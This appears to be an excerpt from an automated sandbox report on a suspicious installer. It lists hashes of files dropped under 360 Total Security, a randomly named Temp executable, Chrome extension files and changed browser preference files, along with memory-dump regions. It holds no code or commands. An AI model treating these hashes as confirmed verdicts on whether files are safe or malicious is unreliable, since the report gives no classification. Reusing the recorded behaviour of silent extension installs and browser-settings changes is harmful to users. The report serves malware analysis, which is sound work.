C:\Program Files (x86)\360\Total Security\netmon\netmstart.dll

MD5 b1f70f9be9df8bb186c5bc5159690a1f
SHA1 0c9347ac3245cdeb8dcea9b3edf01fe4cfd33fe2
SHA256 ce993f7583b1f253c6d82027b89fd867390ea1563564da75684d293539edc6a2
SHA512 188419d1cbc4f1b1bec99bf77f716bb004a0228d3d36eca9d2e479735efae8970dff62f5df42f01e8174173537f0d68ae37b9d5b70b0698b52f50ee0aacc5231

C:\Program Files (x86)\360\Total Security\ipc\sbmon.dll

MD5 c0805da6b17d760418fd2fd031880934
SHA1 f9cf240f7bd4dbd31bc57913ab6517f0dc17d7a5
SHA256 edf443a3751d042fe16b8b11b484357a1b4702310bb50fb7aba9d68725803612
SHA512 f1c458ac3c1eb6ec67b4b0c54aaef09258e41ad4fbd3cd429da3bde278dba09c2419a79625aa39bb231ef277f803cf5ea568c82eaf028cd7a23a6a2fe74306ae

C:\Program Files (x86)\360\Total Security\ipc\X64For32Lib.dll

MD5 bdce31fc701c9aa16ca392a561ba102d
SHA1 58bbdeb96e7819b00d60f0e6580dfc455774a9f7
SHA256 3305ad2718c9bb9bd1db19cde17a184e0d7e497ff3930050c74875bc50f9690b
SHA512 2a16cc0a0bf718f661a3abe8f36b87c8b13716d5bdaa4c2768840734321f879de3d60255b67b2b858eabd627cf4302d7be0a29648bb65bedbfb5f838c9b96863

C:\Program Files (x86)\360\Total Security\ipc\360Box.dll

MD5 f398c9c333589ed57bb5a99eb2d32d13
SHA1 1fcac85e06506f332cae1d29451abe6808d8d39b
SHA256 1587d34c58ff2376384a0f3b279248d080724809eaf5f251cc2dda7896f04602
SHA512 0282f9ab1084fe093e097b6c33adfe2de59d4ed3a9eae12698df7295498ba56d4e8250a130af9f7284cd962691340246a15b3d32e9bf1df22ddd128f44d1205c

C:\Program Files (x86)\360\Total Security\ipc\cleancfg.dat

MD5 fb489fae61ced725a87338699227fe91
SHA1 6f52e4f08a67cfd67696f9fc47fb518966809b66
SHA256 287a47dba7cbcb4c7688f82f17e2020280bd0ee0670abe3c91413bdd26aa9e34
SHA512 0b33fb81d64487feea9c587c8c5bc73067e6b0580ca2ba733a52e11a2aa1b6d8b1e36eff4f1403d4f7250bbcf2a202cbfd68bcb655d544e6509363a3f59041ad

C:\Program Files (x86)\360\Total Security\deepscan\qutmload.dll

MD5 b2fd7b345d3683210a2a465a886ddb9e
SHA1 2aa774cbae5c9460945ffb850b990d3159c091f6
SHA256 eed8df7dc1f0e59b367cf49aa53c91f05953d0164f2d0900ab8ec738a413e5e1
SHA512 62e29140ae56b9aaa1872a070ef343e085802fc9dd46245456326a67288d452e81d986672ea30d232c9241011412af728672d6b6844b481037f448e8c180cf4c

C:\Program Files (x86)\360\Total Security\QHSafeMain.exe

MD5 ed4a8c04176631109ee08346531310ee
SHA1 f3135840e175fb8df8e0f6e12e8a6b04915adce4
SHA256 9139c35f72fe7a6cc32bb40d7841301246ba6e9330990a240c1afb914bde5a7d
SHA512 680d9485cc34cb36f7414dd2cf095e24689ad777fb345d420b1470f30326078ecaff99022ae3b323471eaad85b9ffc41275eb0312f817bb6a934c935e6ac0fca

C:\Program Files (x86)\360\Total Security\ipc\360boxmain.exe

MD5 209ee3f2b59730ba6e1413c3e0c6ee09
SHA1 de702e0f1571fdc0e9c31dd289572c6d5fd688ad
SHA256 0352b4b7908255b9487e3581a521152b7a0ab62e428f13186d23bf41c3e3941f
SHA512 9ee6d26909d620d4776355d5f6390a79b0420ebe5263322c294047b628410d8338407768ced6f6cdd0b7b38ca890f3c6315c3d659fdd8975a0cc3f0a279ff854

C:\Program Files (x86)\360\Total Security\updatecfg.ini

MD5 8fef5b39805d5d71d139e2c48d85798f
SHA1 6067d50b4ad1a9ac8cac0cbeaf2496e0233f6995
SHA256 4524efd68b80626d7596088bd2a8efa51902aeb5e823196e8e68c49f037225e8
SHA512 e41c23b13aa9d563f923a66365490200ab9dbc0ac3ea1eb2a08369b007ba6dd299fe9eb092cfe222f991a3bded52ec657f8fade2eb586dc30a1b13b668613bec

C:\Program Files (x86)\360\Total Security\Utils\PowerSaver.exe

MD5 a99cc896f427963a7b7545a85a09b743
SHA1 360dec0169904782cfe871ba32d0ed3563c8fa62
SHA256 192b065887382e2755b2223b6a956ff1670b78d561012e0b1cbf862d90b46559
SHA512 5d745f0e9f10c24382948df7363424c6baa0dde6fb6a446bc6490bcfe4167d40acbfa1e2b1ebb0ca60595e59ad309def6ff3a4e8c8f23ac38fd6190f9b9a3285

C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe

MD5 7e0bce805d94db8b88971a0fe03ec52e
SHA1 f4ce366ed9958d1f25426e5914b6806aa9790a33
SHA256 e4c4fcf88132c1970ccb9ec8f43dc7d1ee193ad552ccdef8ab166959a25696c2
SHA512 d631b6d22b057fc6f385a701eb9c8895fd59d692fbf14f6f87242837b1c9df745493fe35adebeee4c2099ac544800f9fd205d4e76dd2bbd85b601de80854908b

memory/3104-6632-0x0000000002100000-0x00000000026E8000-memory.dmp

memory/3104-6635-0x0000000002100000-0x00000000026E8000-memory.dmp

memory/3544-6710-0x0000000005FE0000-0x00000000065C8000-memory.dmp

memory/3544-6709-0x0000000005FE0000-0x00000000065C8000-memory.dmp

memory/2840-6736-0x0000000010000000-0x00000000105DF000-memory.dmp

C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe

MD5 9909aa216b30b502f677bfff05000b0e
SHA1 01a26e5c75ff5b3e34fb6b763ace486fe6836aac
SHA256 2bff74b83dc66fc74df2f527071c1ca80a992ba2b887f6043b09564d1b814213
SHA512 d46d00aa05c1fb08232ea7281d18254edc55de5e7d1e681ca5c1c18324f724565a89ded04507de4f725971301762b91f4aa90a357bb3b09dad2ea26a676c1c3f

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rootsupd.inf

MD5 62e9fa5b395a827324a21052727f547e
SHA1 1af0fad2790531b8287eb5b1db5b8ddafb6d3571
SHA256 94fe83c96d71ca4e80b7426af32c7e02b784d6492b7b16405114b04f4ffc5464
SHA512 48a93e55e91cde8125714d45fc98180fe7127ef6ce7433ab43d4c09b0d4cea1543f941876e393bf99eac0dcdfae5106821acec86c86babfeaeb0a2f4711a55f3

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updroots.exe

MD5 9c18ae971cbffb096952177f6804ea31
SHA1 bb255dd1bd9bb39cdbb8671af66054432c686828
SHA256 2703c25453b09c40ee81fdc458b8cc24712e387a12d15ff94e12b02921fe98cb
SHA512 21086509bb4ea5afede55d034955de0bdf8b366d5d8d4bfa7a6c68b0f35fbf217ff3e932f87fc1d37f09022805e79ceeecbaf3dbccbd96d7c93029ffe7370e4c

C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe

MD5 0550ef6afda33ea1c1a231b939ca9b07
SHA1 f74897166553b218e3a0869502ed036f175be9cd
SHA256 8462d8b0433559e9afc2cd5de7bffe38fc6b82e3da9e79bdd33a85ab79fafaeb
SHA512 329fa4ba439852740683dfb60070116fc459785d8a936e59aa4e55affe4697d66c5db844d154b30ab41913342fd5d51760f329cf30dc039387d0929026219a2e

memory/2660-6815-0x0000000001170000-0x0000000001642000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ea78d877625ee7791e0aabfbde306b5d
SHA1 751e86c70858f1113f52244ec93cb88013e5a628
SHA256 6103ffc451ab34b308ff115b9ce9035763669b66a5997acff17737b0bf883422
SHA512 8428a11287e5c0ec6cae33beb81f601141124d157a15734bde9fdb7a4cd463c168c691053ca6d5f0547225a87d4c69057bcba079d3a974512f7639b7085e8ee9

memory/3604-8051-0x0000000010000000-0x00000000105DF000-memory.dmp

memory/5588-8060-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

memory/5588-8061-0x0000000002960000-0x0000000002968000-memory.dmp

memory/2660-8062-0x0000000001170000-0x0000000001642000-memory.dmp

memory/3104-8063-0x0000000002100000-0x00000000026E8000-memory.dmp

memory/3104-8064-0x0000000002100000-0x00000000026E8000-memory.dmp

memory/3544-8065-0x0000000005FE0000-0x00000000065C8000-memory.dmp

memory/3544-8066-0x0000000005FE0000-0x00000000065C8000-memory.dmp

memory/2660-8067-0x0000000001170000-0x0000000001642000-memory.dmp

memory/2660-8071-0x0000000001170000-0x0000000001642000-memory.dmp

memory/4336-8072-0x0000000010000000-0x00000000105DF000-memory.dmp

memory/4336-8083-0x0000000002190000-0x0000000002215000-memory.dmp

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

MD5 68973b97b734fe7959025e95c86cd35c
SHA1 b41fec65afd7ba83b31e0ff0c6479a53a7109f50
SHA256 8991d154fe52a38475fd7fc36aa9f23a9410ed7edfab91caf890b12d4942288e
SHA512 2901eba22e30072ab7aae8bb401a533d788669d1d1edce7bee86acd26f0dbc177b0510299a80a56bd193b1b65146f0c7a457eadb62e83babaa19e4b538deae64

memory/4336-8117-0x00000000020D0000-0x0000000002139000-memory.dmp

memory/1188-8122-0x00000000042C0000-0x00000000042C1000-memory.dmp

memory/1188-8119-0x00000000024A0000-0x00000000024A1000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

MD5 238d2612f510ea51d0d3eaa09e7136b1
SHA1 0953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256 801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA512 2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

MD5 0b1cf3deab325f8987f2ee31c6afc8ea
SHA1 6a51537cef82143d3d768759b21598542d683904
SHA256 0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA512 5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

MD5 2a1e12a4811892d95962998e184399d8
SHA1 55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA256 32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512 bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

memory/2660-8289-0x0000000001170000-0x0000000001642000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 54303dfbc649a4e12e28f876ac385104
SHA1 de6e7d061b2a0f8b851ea92cee100d5dbe5148dd
SHA256 1defe68495117c5bf267f68d6738072d7cae9668776c588ccd80847ba0deb328
SHA512 b49be53f7b0411b18cb6582709bc95b8ad4ab2fd538d6150bd2a262a28b67d58d296d4bd95c509d447db6a78fa794dbb36719b2c8e6261be337be1092b408a38

memory/5716-8311-0x00000000018A0000-0x0000000001E7F000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0rowjuc9.default-release\prefs.js

MD5 6e5aef22fe3d3efe8118d051f96d5adc
SHA1 15beb4005ebd5c144f1ee6badb594ca520c237fe
SHA256 822843ec32a47797cb12255369d8b77c938adcc7564637bdd74c2dfdab3c62de
SHA512 9a856fd4591960992c90324d806198355d81cb5e1a5d078ab4d63fc00aeabbb5b08d94448168c965f2e7742b6f01a9cdd58a04c65b8c7111652719611bf7a94e

memory/4336-8301-0x00000000039B0000-0x0000000003A38000-memory.dmp

memory/4336-8314-0x0000000003A40000-0x0000000003B1B000-memory.dmp

memory/2660-8353-0x0000000001170000-0x0000000001642000-memory.dmp